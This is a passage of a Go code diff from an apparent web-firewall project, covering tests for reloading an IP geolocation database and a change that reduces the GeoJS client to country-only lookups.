t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRecordThatCannotBeReadPlacesTheClientNowhere(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The AS number is a number, where a string belongs. The writer writes
|
||||
// a record's fields in the order of their names, so as_name is read
|
||||
// before the AS number fails.
|
||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
||||
lookuptest.WriteRecords(t, path, map[string]mmdbtype.Map{
|
||||
testNetblock: {
|
||||
"asn": mmdbtype.Uint32(64496),
|
||||
"as_name": mmdbtype.String("Example Net"),
|
||||
"country_code": mmdbtype.String("DE"),
|
||||
},
|
||||
})
|
||||
|
||||
f := openFile(t, path, newQueue())
|
||||
|
||||
answer := f.LookUp(netip.MustParsePrefix(testClient))
|
||||
if answer.ASN != "" || answer.ASName != "" || answer.Country != "" {
|
||||
t.Errorf("%s is placed %+v, want nowhere", testClient, answer)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFileThatCannotBeReadIsAnError(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
dir := t.TempDir()
|
||||
missing := filepath.Join(dir, "missing.mmdb")
|
||||
notDatabase := filepath.Join(dir, "not.mmdb")
|
||||
writeFile(t, notDatabase, "not a lookup database\n")
|
||||
|
||||
for path, want := range map[string]string{
|
||||
missing: "SWW_LOOKUP_DB_PATH cannot be read: open " + missing +
|
||||
": no such file or directory",
|
||||
notDatabase: "SWW_LOOKUP_DB_PATH " + notDatabase +
|
||||
" is not a .mmdb file: error opening database: invalid MaxMind DB file",
|
||||
} {
|
||||
_, err := OpenFile(FileParams{
|
||||
Path: path,
|
||||
Now: time.Now,
|
||||
ProcessLog: slog.New(slog.DiscardHandler),
|
||||
Alerts: newQueue(),
|
||||
})
|
||||
if err == nil || err.Error() != want {
|
||||
t.Errorf("opening %s failed with %v, want %s", path, err, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The tests below run readAfterChanges in a synctest bubble, where time is
|
||||
// a clock of the test's own: time.Sleep moves it on at once, and
|
||||
// synctest.Wait returns once readAfterChanges waits again, so that every
|
||||
// reading due by then is done. The test sends the changes itself, as the
|
||||
// watch of a directory cannot run in a bubble.
|
||||
|
||||
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "ipinfo_lite.mmdb")
|
||||
writeDatabase(t, path, "DE")
|
||||
|
||||
queue := newQueue()
|
||||
f := openFile(t, path, queue)
|
||||
changes := watch(t, f)
|
||||
|
||||
other := filepath.Join(dir, "replacement.mmdb")
|
||||
writeDatabase(t, other, "KP")
|
||||
|
||||
replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
|
||||
if err != nil {
|
||||
t.Fatalf("read %s: %v", other, err)
|
||||
}
|
||||
|
||||
// The file in use is overwritten in place, and keeps giving what
|
||||
// it gave. Its first part alone is not a .mmdb file.
|
||||
file, err := os.Create(path) //nolint:gosec // a file the test wrote
|
||||
if err != nil {
|
||||
t.Fatalf("create %s: %v", path, err)
|
||||
}
|
||||
|
||||
defer func() {
|
||||
_ = file.Close()
|
||||
}()
|
||||
|
||||
half := len(replacement) / 2
|
||||
write(t, file, replacement[:half])
|
||||
|
||||
changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
|
||||
|
||||
time.Sleep(quietTime - time.Nanosecond)
|
||||
synctest.Wait()
|
||||
wantCountry(t, f, "DE")
|
||||
|
||||
// The second part starts the wait again.
|
||||
write(t, file, replacement[half:])
|
||||
|
||||
changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
|
||||
|
||||
time.Sleep(quietTime - time.Nanosecond)
|
||||
synctest.Wait()
|
||||
wantCountry(t, f, "DE")
|
||||
|
||||
time.Sleep(time.Nanosecond)
|
||||
synctest.Wait()
|
||||
wantCountry(t, f, "KP")
|
||||
|
||||
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
|
||||
t.Errorf("read at %s, with %d failures; want read now, with none",
|
||||
f.LastRead(), f.ReadFailures())
|
||||
}
|
||||
|
||||
wantAlerts(t, queue)
|
||||
})
|
||||
}
|
||||
|
||||
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
||||
writeDatabase(t, path, "DE")
|
||||
|
||||
queue := newQueue()
|
||||
f := openFile(t, path, queue)
|
||||
read := f.LastRead()
|
||||
changes := watch(t, f)
|
||||
|
||||
writeFile(t, path, "not a lookup database\n")
|
||||
|
||||
changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
|
||||
|
||||
// Long after, the replacement has been read once.
|
||||
time.Sleep(time.Hour)
|
||||
synctest.Wait()
|
||||
wantCountry(t, f, "DE")
|
||||
|
||||
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
|
||||
t.Errorf("read at %s, with %d failures; want read at %s, with one",
|
||||
f.LastRead(), f.ReadFailures(), read)
|
||||
}
|
||||
|
||||
wantAlerts(t, queue, alerts.Alert{
|
||||
Time: read.Add(quietTime),
|
||||
Event: alerts.EventFileError,
|
||||
Reason: "the lookup database cannot be read, and the one read before stays in use",
|
||||
Detail: map[string]any{
|
||||
"file": path,
|
||||
"error": "SWW_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
|
||||
"error opening database: invalid MaxMind DB file",
|
||||
},
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
func TestChangeOfAnotherFileInTheDirectoryIsNoReplacement(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "ipinfo_lite.mmdb")
|
||||
writeDatabase(t, path, "DE")
|
||||
|
||||
f := openFile(t, path, newQueue())
|
||||
changes := watch(t, f)
|
||||
|
||||
// The wait that starts with the watch ends with a reading.
|
||||
time.Sleep(quietTime)
|
||||
synctest.Wait()
|
||||
writeDatabase(t, path, "KP")
|
||||
|
||||
changes <- fsnotify.Event{Name: filepath.Join(dir, "other.mmdb"), Op: fsnotify.Create}
|
||||
|
||||
time.Sleep(quietTime)
|
||||
synctest.Wait()
|
||||
wantCountry(t, f, "DE")
|
||||
|
||||
changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
|
||||
|
||||
time.Sleep(quietTime)
|
||||
synctest.Wait()
|
||||
wantCountry(t, f, "KP")
|
||||
})
|
||||
}
|
||||
|
||||
func TestReplacementSavedBeforeTheWatchStartsIsRead(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
||||
writeDatabase(t, path, "DE")
|
||||
|
||||
f := openFile(t, path, newQueue())
|
||||
|
||||
// Saved after OpenFile read the file, and before its directory was
|
||||
// watched, so that no change is seen for it.
|
||||
writeDatabase(t, path, "KP")
|
||||
watch(t, f)
|
||||
time.Sleep(quietTime)
|
||||
synctest.Wait()
|
||||
wantCountry(t, f, "KP")
|
||||
})
|
||||
}
|
||||
|
||||
// newQueue returns a queue of alerts for a webhook that is never sent
|
||||
// them, so that they wait in it for the test to look at.
|
||||
func newQueue() *alerts.Queue {
|
||||
return alerts.New(alerts.Params{
|
||||
WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
|
||||
Events: alerts.Events(),
|
||||
Cooldown: 15 * time.Minute,
|
||||
Now: time.Now,
|
||||
})
|
||||
}
|
||||
|
||||
// writeDatabase writes a lookup database at path that places testNetblock
|
||||
// in country, and no other address.
|
||||
func writeDatabase(t *testing.T, path, country string) {
|
||||
t.Helper()
|
||||
|
||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||
testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
|
||||
})
|
||||
}
|
||||
|
||||
// openFile opens the lookup database at path, which raises its alerts to
|
||||
// queue.
|
||||
func openFile(t *testing.T, path string, queue *alerts.Queue) *File {
|
||||
t.Helper()
|
||||
|
||||
f, err := OpenFile(FileParams{
|
||||
Path: path,
|
||||
Now: time.Now,
|
||||
ProcessLog: slog.New(slog.DiscardHandler),
|
||||
Alerts: queue,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("open %s: %v", path, err)
|
||||
}
|
||||
|
||||
return f
|
||||
}
|
||||
|
||||
// watch runs f's readAfterChanges until the test ends, and returns the
|
||||
// channel that sends it changes.
|
||||
func watch(t *testing.T, f *File) chan<- fsnotify.Event {
|
||||
t.Helper()
|
||||
|
||||
changes := make(chan fsnotify.Event)
|
||||
ctx, stop := context.WithCancel(t.Context())
|
||||
stopped := make(chan struct{})
|
||||
|
||||
go func() {
|
||||
f.readAfterChanges(ctx, changes, nil)
|
||||
close(stopped)
|
||||
}()
|
||||
|
||||
t.Cleanup(func() {
|
||||
stop()
|
||||
<-stopped
|
||||
})
|
||||
|
||||
return changes
|
||||
}
|
||||
|
||||
// wantCountry checks the country f gives testClient.
|
||||
func wantCountry(t *testing.T, f *File, want string) {
|
||||
t.Helper()
|
||||
|
||||
got := f.LookUp(netip.MustParsePrefix(testClient)).Country
|
||||
if got != want {
|
||||
t.Errorf("%s is in %q, want %q", testClient, got, want)
|
||||
}
|
||||
}
|
||||
|
||||
// wantAlerts checks the alerts waiting in queue, and that it held none
|
||||
// back.
|
||||
func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
|
||||
t.Helper()
|
||||
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
|
||||
t.Errorf("alerts waiting %+v, want %+v", waiting, want)
|
||||
}
|
||||
|
||||
if queue.Suppressed() != 0 {
|
||||
t.Errorf("%d alerts held back, want none", queue.Suppressed())
|
||||
}
|
||||
}
|
||||
|
||||
// writeFile writes content to the file at path.
|
||||
func writeFile(t *testing.T, path, content string) {
|
||||
t.Helper()
|
||||
|
||||
err := os.WriteFile(path, []byte(content), 0o600)
|
||||
if err != nil {
|
||||
t.Fatalf("write %s: %v", path, err)
|
||||
}
|
||||
}
|
||||
|
||||
// write writes data to the end of file.
|
||||
func write(t *testing.T, file *os.File, data []byte) {
|
||||
t.Helper()
|
||||
|
||||
_, err := file.Write(data)
|
||||
if err != nil {
|
||||
t.Fatalf("write: %v", err)
|
||||
}
|
||||
}
|
||||
+72
-227
@@ -1,8 +1,6 @@
|
||||
// Package lookup looks up each client's AS number and country, through
|
||||
// the GeoJS web service or in the lookup database, the IPinfo Lite file
|
||||
// SWW_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
||||
// most 100,000 clients and for 7 days each, and are written to
|
||||
// lookups.json and read from it by the state package.
|
||||
// Package lookup looks up each client's country through the GeoJS web
|
||||
// service, and keeps the answers in memory, for at most 100,000 clients
|
||||
// and for 7 days each.
|
||||
package lookup
|
||||
|
||||
import (
|
||||
@@ -14,21 +12,16 @@ import (
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/hashicorp/golang-lru/v2/simplelru"
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
||||
)
|
||||
|
||||
// URL is GeoJS's endpoint for an address's place and network. Asked about
|
||||
// several addresses at once, comma separated in its ip parameter, it
|
||||
// answers with a list.
|
||||
const URL = "https://get.geojs.io/v1/ip/geo.json"
|
||||
// URL is GeoJS's country endpoint. Asked about several addresses at once,
|
||||
// comma separated in its ip parameter, it answers with a list.
|
||||
const URL = "https://get.geojs.io/v1/ip/country.json"
|
||||
|
||||
const (
|
||||
// keepFor is how long an answer is used instead of asking GeoJS again.
|
||||
@@ -43,8 +36,9 @@ const (
|
||||
maxWaiting = 10000
|
||||
// maxPerRequest is how many addresses one request to GeoJS asks about.
|
||||
maxPerRequest = 200
|
||||
// unknownASN is the AS number GeoJS gives when it knows none.
|
||||
unknownASN = 64512
|
||||
// timeout is how long a new client waits for its answer, and how long
|
||||
// a request to GeoJS may take before it is abandoned.
|
||||
timeout = time.Second
|
||||
// After a failure GeoJS is not asked again for a second, and for
|
||||
// retryDelayFactor times as long after each further failure in a row,
|
||||
// up to five minutes.
|
||||
@@ -64,45 +58,25 @@ var (
|
||||
type Params struct {
|
||||
// URL is where GeoJS is asked, normally URL.
|
||||
URL string
|
||||
// Timeout is how long a request waits for its client's first answer,
|
||||
// and how long a request to GeoJS may take before it is abandoned
|
||||
// (SWW_LOOKUP_TIMEOUT).
|
||||
Timeout time.Duration
|
||||
// Wait is true when a setting needs each request's answer before the
|
||||
// request goes on. Otherwise no request waits for one.
|
||||
Wait bool
|
||||
// Answered, unless nil, is given each answer GeoJS gives, once it is
|
||||
// kept.
|
||||
Answered func(Answer)
|
||||
// Now tells the time, normally time.Now.
|
||||
Now func() time.Time
|
||||
// ProcessLog receives GeoJS's failures.
|
||||
ProcessLog *slog.Logger
|
||||
// Metrics count the requests to GeoJS, those that failed, and the
|
||||
// clients that go without an answer.
|
||||
Metrics *metrics.Metrics
|
||||
// Alerts receive a source_failure alert each time GeoJS fails.
|
||||
Alerts *alerts.Queue
|
||||
}
|
||||
|
||||
// GeoJS looks up clients' AS numbers and countries through GeoJS. At most
|
||||
// one request to GeoJS is under way at a time, and it asks about every
|
||||
// client waiting, up to maxPerRequest. It is safe for concurrent use.
|
||||
// GeoJS looks up clients' countries through GeoJS. At most one request
|
||||
// to GeoJS is under way at a time, and it asks about every client waiting,
|
||||
// up to maxPerRequest. It is safe for concurrent use.
|
||||
type GeoJS struct {
|
||||
url string
|
||||
timeout time.Duration
|
||||
wait bool
|
||||
answered func(Answer)
|
||||
now func() time.Time
|
||||
processLog *slog.Logger
|
||||
metrics *metrics.Metrics
|
||||
alerts *alerts.Queue
|
||||
// httpClient follows no redirect, so that visitors' addresses go to
|
||||
// GeoJS alone: a redirect is a failure.
|
||||
httpClient *http.Client
|
||||
|
||||
mu sync.Mutex
|
||||
answers *simplelru.LRU[netip.Prefix, *Answer]
|
||||
answers *simplelru.LRU[netip.Prefix, answer]
|
||||
// waiting are the clients without an answer: those to ask GeoJS about,
|
||||
// and those it is being asked about.
|
||||
waiting map[netip.Prefix]*wait
|
||||
@@ -114,21 +88,11 @@ type GeoJS struct {
|
||||
retryAt time.Time
|
||||
}
|
||||
|
||||
// Answer is what GeoJS or the lookup database said about a client: its AS
|
||||
// number, such as AS64496, and the AS's name, both "" when the source knows
|
||||
// no AS number for it; its country, "" when the source cannot place it;
|
||||
// when the source said so; and, for GeoJS's answers, which lookups.json
|
||||
// holds, when the answer was last used. The zero Answer is that of a
|
||||
// client with no answer.
|
||||
//
|
||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||
type Answer struct {
|
||||
Client netip.Prefix `json:"client"`
|
||||
ASN string `json:"asn"`
|
||||
ASName string `json:"as_name"`
|
||||
Country string `json:"country"`
|
||||
Answered time.Time `json:"answered"`
|
||||
Used time.Time `json:"used"`
|
||||
// answer is what GeoJS said about a client: its country, "" when GeoJS
|
||||
// cannot place it, and when GeoJS said so.
|
||||
type answer struct {
|
||||
country string
|
||||
received time.Time
|
||||
}
|
||||
|
||||
// wait is a client waiting for its answer.
|
||||
@@ -143,20 +107,15 @@ type wait struct {
|
||||
|
||||
// New returns a GeoJS with no answer kept yet.
|
||||
func New(params Params) *GeoJS {
|
||||
answers, err := simplelru.NewLRU[netip.Prefix, *Answer](maxAnswers, nil)
|
||||
answers, err := simplelru.NewLRU[netip.Prefix, answer](maxAnswers, nil)
|
||||
if err != nil {
|
||||
panic(err) // NewLRU fails only for a size below one
|
||||
}
|
||||
|
||||
return &GeoJS{
|
||||
url: params.URL,
|
||||
timeout: params.Timeout,
|
||||
wait: params.Wait,
|
||||
answered: params.Answered,
|
||||
now: params.Now,
|
||||
processLog: params.ProcessLog,
|
||||
metrics: params.Metrics,
|
||||
alerts: params.Alerts,
|
||||
httpClient: &http.Client{
|
||||
CheckRedirect: func(*http.Request, []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
@@ -167,24 +126,23 @@ func New(params Params) *GeoJS {
|
||||
}
|
||||
}
|
||||
|
||||
// LookUp returns the answer GeoJS gave about client, with its country as
|
||||
// a two-letter code in capitals, or the zero Answer when there is none
|
||||
// yet. An answer is kept for 7 days. Without one, the client is asked
|
||||
// about in the background, and, while Wait is set, the request waits up
|
||||
// to Timeout for the answer, unless the client has gone without one
|
||||
// before. ctx is the context of the client's request, and ends the wait
|
||||
// when it ends.
|
||||
// Country returns the country GeoJS places client in, as a two-letter
|
||||
// code in capitals, or "" when the country cannot be found: GeoJS cannot
|
||||
// place the client, or has not answered in time. An answer is kept for 7
|
||||
// days. Without one, a client waits up to timeout for it, unless it has
|
||||
// gone without one before; until GeoJS answers, the client is asked about
|
||||
// again in the background. ctx is the context of the client's request,
|
||||
// and ends the wait when it ends.
|
||||
//
|
||||
// GeoJS is asked about the client's first address, which is the client's
|
||||
// own address for IPv4, and an address in the same place for an IPv6
|
||||
// netblock.
|
||||
func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
|
||||
answer, asked := g.answerOrWait(ctx, client, g.wait)
|
||||
// own address for IPv4, and an address in the same place for an IPv6 /64.
|
||||
func (g *GeoJS) Country(ctx context.Context, client netip.Prefix) string {
|
||||
country, asked := g.answerOrWait(ctx, client)
|
||||
if asked == nil {
|
||||
return answer
|
||||
return country
|
||||
}
|
||||
|
||||
timer := time.NewTimer(g.timeout)
|
||||
timer := time.NewTimer(timeout)
|
||||
defer timer.Stop()
|
||||
|
||||
select {
|
||||
@@ -196,91 +154,29 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
|
||||
answer, found := g.kept(client)
|
||||
if !found {
|
||||
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
|
||||
}
|
||||
country, found := g.kept(client)
|
||||
|
||||
w, waiting := g.waiting[client]
|
||||
if !found && waiting {
|
||||
w.late = true
|
||||
}
|
||||
|
||||
return answer
|
||||
}
|
||||
|
||||
// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
|
||||
// whatever Wait says: it returns the zero Answer at once when none is kept.
|
||||
func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
|
||||
answer, _ := g.answerOrWait(ctx, client, false)
|
||||
|
||||
return answer
|
||||
}
|
||||
|
||||
// Kept returns client's answer, if one is kept, without asking GeoJS.
|
||||
func (g *GeoJS) Kept(client netip.Prefix) (Answer, bool) {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
|
||||
return g.kept(client)
|
||||
}
|
||||
|
||||
// Snapshot returns every answer kept, sorted by client, as lookups.json
|
||||
// lists them.
|
||||
func (g *GeoJS) Snapshot() []Answer {
|
||||
g.mu.Lock()
|
||||
|
||||
answers := make([]Answer, 0, g.answers.Len())
|
||||
for _, kept := range g.answers.Values() {
|
||||
answers = append(answers, *kept)
|
||||
}
|
||||
|
||||
g.mu.Unlock()
|
||||
|
||||
slices.SortFunc(answers, func(a, b Answer) int {
|
||||
return a.Client.Compare(b.Client)
|
||||
})
|
||||
|
||||
return answers
|
||||
}
|
||||
|
||||
// Load keeps answers read from lookups.json, in place of the answers it
|
||||
// keeps, in the order they were last used, so that the one used longest
|
||||
// ago is dropped first. Answers GeoJS gave keepFor ago or more are
|
||||
// dropped.
|
||||
func (g *GeoJS) Load(answers []Answer) {
|
||||
answers = slices.Clone(answers)
|
||||
slices.SortStableFunc(answers, func(a, b Answer) int {
|
||||
return a.Used.Compare(b.Used)
|
||||
})
|
||||
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
|
||||
g.answers.Purge()
|
||||
|
||||
now := g.now()
|
||||
|
||||
for _, answer := range answers {
|
||||
if now.Sub(answer.Answered) < keepFor {
|
||||
g.answers.Add(answer.Client, &answer)
|
||||
}
|
||||
}
|
||||
return country
|
||||
}
|
||||
|
||||
// answerOrWait returns client's kept answer if it has one. Otherwise it
|
||||
// puts the client among those waiting if there is room, has GeoJS asked
|
||||
// about them if it can be, and returns what to wait on for the answer, or
|
||||
// nil when there is nothing to wait for or mustWait is false.
|
||||
// nil when there is nothing to wait for.
|
||||
func (g *GeoJS) answerOrWait(
|
||||
ctx context.Context, client netip.Prefix, mustWait bool,
|
||||
) (Answer, <-chan struct{}) {
|
||||
ctx context.Context, client netip.Prefix,
|
||||
) (string, <-chan struct{}) {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
|
||||
answer, found := g.kept(client)
|
||||
country, found := g.kept(client)
|
||||
if found {
|
||||
return answer, nil
|
||||
return country, nil
|
||||
}
|
||||
|
||||
w, waiting := g.waiting[client]
|
||||
@@ -291,14 +187,8 @@ func (g *GeoJS) answerOrWait(
|
||||
|
||||
g.ask(ctx)
|
||||
|
||||
if !mustWait {
|
||||
return Answer{}, nil // the answer is not needed before the request goes on
|
||||
}
|
||||
|
||||
if w == nil {
|
||||
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
|
||||
|
||||
return Answer{}, nil // too many clients wait already
|
||||
return "", nil // too many clients wait already
|
||||
}
|
||||
|
||||
if !g.asking {
|
||||
@@ -307,27 +197,21 @@ func (g *GeoJS) answerOrWait(
|
||||
}
|
||||
|
||||
if w.late {
|
||||
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
|
||||
|
||||
return Answer{}, nil
|
||||
return "", nil
|
||||
}
|
||||
|
||||
return Answer{}, w.asked
|
||||
return "", w.asked
|
||||
}
|
||||
|
||||
// kept returns client's answer, if GeoJS gave it less than keepFor ago,
|
||||
// and notes that it was used.
|
||||
func (g *GeoJS) kept(client netip.Prefix) (Answer, bool) {
|
||||
now := g.now()
|
||||
|
||||
// kept returns client's answer, if one was received less than keepFor
|
||||
// ago.
|
||||
func (g *GeoJS) kept(client netip.Prefix) (string, bool) {
|
||||
kept, found := g.answers.Get(client)
|
||||
if !found || now.Sub(kept.Answered) >= keepFor {
|
||||
return Answer{}, false
|
||||
if !found || g.now().Sub(kept.received) >= keepFor {
|
||||
return "", false
|
||||
}
|
||||
|
||||
kept.Used = now
|
||||
|
||||
return *kept, true
|
||||
return kept.country, true
|
||||
}
|
||||
|
||||
// ask starts asking GeoJS about the waiting clients, unless a request to
|
||||
@@ -345,8 +229,7 @@ func (g *GeoJS) ask(ctx context.Context) {
|
||||
}
|
||||
|
||||
// askAboutWaiting asks GeoJS about the waiting clients, one request at a
|
||||
// time, until none is left or GeoJS fails. Each answer kept is given to
|
||||
// Answered, outside the lock, since Answered takes locks of its own.
|
||||
// time, until none is left or GeoJS fails.
|
||||
func (g *GeoJS) askAboutWaiting(ctx context.Context) {
|
||||
for {
|
||||
clients := g.nextClients()
|
||||
@@ -354,16 +237,8 @@ func (g *GeoJS) askAboutWaiting(ctx context.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
given, err := g.request(ctx, clients)
|
||||
kept, answered := g.keep(clients, given, err)
|
||||
|
||||
if g.answered != nil {
|
||||
for _, answer := range kept {
|
||||
g.answered(answer)
|
||||
}
|
||||
}
|
||||
|
||||
if !answered {
|
||||
countries, err := g.request(ctx, clients)
|
||||
if !g.keep(clients, countries, err) {
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -395,35 +270,30 @@ func (g *GeoJS) nextClients() []netip.Prefix {
|
||||
return clients
|
||||
}
|
||||
|
||||
// keep notes how a request to GeoJS about clients ended, given being the
|
||||
// answer for each address GeoJS's answer names. It returns the answers it
|
||||
// kept, and reports whether GeoJS answered about all of the clients. Each
|
||||
// client whose address GeoJS's answer names gets its answer. An answer
|
||||
// that leaves an address out is a failure. After a failure GeoJS is left
|
||||
// alone for a while, and every client still waiting stops waiting and is
|
||||
// asked about once GeoJS is asked again.
|
||||
// keep notes how a request to GeoJS about clients ended, and reports
|
||||
// whether GeoJS answered about all of them. Each client whose address
|
||||
// GeoJS's answer names gets its answer, with no country when GeoJS gave
|
||||
// none. An answer that leaves an address out is a failure. After a
|
||||
// failure GeoJS is left alone for a while, and every client still waiting
|
||||
// stops waiting and is asked about once GeoJS is asked again.
|
||||
func (g *GeoJS) keep(
|
||||
clients []netip.Prefix, given map[netip.Addr]Answer, err error,
|
||||
) ([]Answer, bool) {
|
||||
clients []netip.Prefix, countries map[netip.Addr]string, err error,
|
||||
) bool {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
|
||||
now := g.now()
|
||||
kept := make([]Answer, 0, len(clients))
|
||||
leftOut := 0
|
||||
|
||||
for _, client := range clients {
|
||||
answer, named := given[client.Addr()]
|
||||
country, named := countries[client.Addr()]
|
||||
if !named {
|
||||
leftOut++
|
||||
|
||||
continue
|
||||
}
|
||||
|
||||
answer.Client, answer.Answered, answer.Used = client, now, now
|
||||
g.answers.Add(client, &answer)
|
||||
kept = append(kept, answer)
|
||||
|
||||
g.answers.Add(client, answer{country: country, received: now})
|
||||
close(g.waiting[client].asked)
|
||||
delete(g.waiting, client)
|
||||
}
|
||||
@@ -433,8 +303,6 @@ func (g *GeoJS) keep(
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
g.metrics.GeoJSFailures.Inc()
|
||||
|
||||
g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
|
||||
maxRetryDelay)
|
||||
g.retryAt = now.Add(g.retryDelay)
|
||||
@@ -449,37 +317,27 @@ func (g *GeoJS) keep(
|
||||
|
||||
g.processLog.Warn("asking GeoJS failed",
|
||||
"error", err.Error(), "asking_again_in", g.retryDelay.String())
|
||||
g.alerts.Raise(alerts.Alert{
|
||||
Event: alerts.EventSourceFailure,
|
||||
Reason: "asking GeoJS failed",
|
||||
Detail: map[string]any{
|
||||
"source": "geojs", "error": err.Error(),
|
||||
"asking_again_in": g.retryDelay.String(),
|
||||
},
|
||||
})
|
||||
|
||||
return kept, false
|
||||
return false
|
||||
}
|
||||
|
||||
g.retryDelay = 0
|
||||
|
||||
return kept, true
|
||||
return true
|
||||
}
|
||||
|
||||
// request asks GeoJS about clients in one request, and returns the answer
|
||||
// for each address GeoJS's answer names: its AS number and the AS's name,
|
||||
// both "" for the AS number 64512, which GeoJS gives when it knows none,
|
||||
// and its country, in capitals.
|
||||
// request asks GeoJS about clients in one request, and returns the
|
||||
// country it gave, in capitals, for each address its answer names.
|
||||
func (g *GeoJS) request(
|
||||
ctx context.Context, clients []netip.Prefix,
|
||||
) (map[netip.Addr]Answer, error) {
|
||||
) (map[netip.Addr]string, error) {
|
||||
addrs := make([]string, 0, len(clients))
|
||||
|
||||
for _, client := range clients {
|
||||
addrs = append(addrs, client.Addr().String())
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(ctx, g.timeout)
|
||||
ctx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
|
||||
@@ -489,8 +347,6 @@ func (g *GeoJS) request(
|
||||
|
||||
req.URL.RawQuery = "ip=" + strings.Join(addrs, ",")
|
||||
|
||||
g.metrics.GeoJSRequests.Inc()
|
||||
|
||||
res, err := g.httpClient.Do(req)
|
||||
if err != nil {
|
||||
// Do's error names the URL, and so the visitors' addresses, which
|
||||
@@ -506,12 +362,9 @@ func (g *GeoJS) request(
|
||||
return nil, fmt.Errorf("%w %s", errStatus, res.Status)
|
||||
}
|
||||
|
||||
//nolint:tagliatelle // GeoJS's own names
|
||||
var answers []struct {
|
||||
IP string `json:"ip"`
|
||||
ASN int64 `json:"asn"`
|
||||
ASName string `json:"organization_name"`
|
||||
CountryCode string `json:"country_code"`
|
||||
IP string `json:"ip"`
|
||||
Country string `json:"country"`
|
||||
}
|
||||
|
||||
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
|
||||
@@ -519,22 +372,14 @@ func (g *GeoJS) request(
|
||||
return nil, fmt.Errorf("read GeoJS's answer: %w", err)
|
||||
}
|
||||
|
||||
given := make(map[netip.Addr]Answer, len(answers))
|
||||
countries := make(map[netip.Addr]string, len(answers))
|
||||
|
||||
for _, item := range answers {
|
||||
addr, err := netip.ParseAddr(item.IP)
|
||||
if err != nil {
|
||||
continue
|
||||
if err == nil {
|
||||
countries[addr] = strings.ToUpper(item.Country)
|
||||
}
|
||||
|
||||
answer := Answer{Country: strings.ToUpper(item.CountryCode)}
|
||||
if item.ASN != 0 && item.ASN != unknownASN {
|
||||
answer.ASN = "AS" + strconv.FormatInt(item.ASN, 10)
|
||||
answer.ASName = item.ASName
|
||||
}
|
||||
|
||||
given[addr] = answer
|
||||
}
|
||||
|
||||
return given, nil
|
||||
return countries, nil
|
||||
}
|
||||
+231
-573
@@ -6,202 +6,100 @@ import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"reflect"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"testing/synctest"
|
||||
"time"
|
||||
|
||||
"github.com/prometheus/client_golang/prometheus/testutil"
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
